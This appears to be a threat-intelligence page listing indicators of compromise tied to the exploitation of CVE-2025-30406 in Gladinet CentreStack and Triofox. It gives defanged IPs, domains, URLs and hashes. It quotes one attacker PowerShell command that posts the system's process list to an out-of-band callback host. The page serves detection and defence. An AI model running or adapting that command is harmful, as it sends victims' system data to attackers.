redacted.oast[.]funDomain
Reported by 1 independent source · first reported by Huntress · last reported
Last reported 18 months ago
What the reports say
1 report, newest first · the exact sentence from each-
CVE-2025-30406: Gladinet CentreStack & Triofox Exploited“powershell.exe Invoke-WebRequest -Uri hxxp://REDACTED.oast[.]fun -Method POST -Body $(tasklist)”
Indicators reported together
named in the same reports- 2.58.56[.]16in 1 report
- rtb.mftadsrvr[.]comin 1 report
- hxxps://gladinetsupport.s3.us-east-1.amazonaws[.]com/gladinet/securityadvisory-cve-2005.pdfin 1 report
- gladinetsupport.s3.us-east-1.amazonaws[.]comin 1 report
- hxxps://gladinetsupport.s3.us-east-1.amazonaws[.]com/gladinet/securityadvisory-cve-2025-triofox.pdfin 1 report
- hxxp://redacted.oastify[.]com/REDACTEDin 1 report
- redacted.oastify[.]comin 1 report
- hxxp://redacted.oast[.]funin 1 report
- 104.21.16[.]1in 1 report
- 104.21.48[.]1in 1 report
- 48b006cb17e75ecd…abca1c5fabbfin 1 report
- 30981d4082b58704…26aef21e75c2in 1 report
- 165.227.7[.]206in 1 report
- 45.84.107[.]76in 1 report
Copy these 14 indicators · defanged
Also named with it: CVE-2025-31161, CVE-2025-30406
Thanks — we review every report.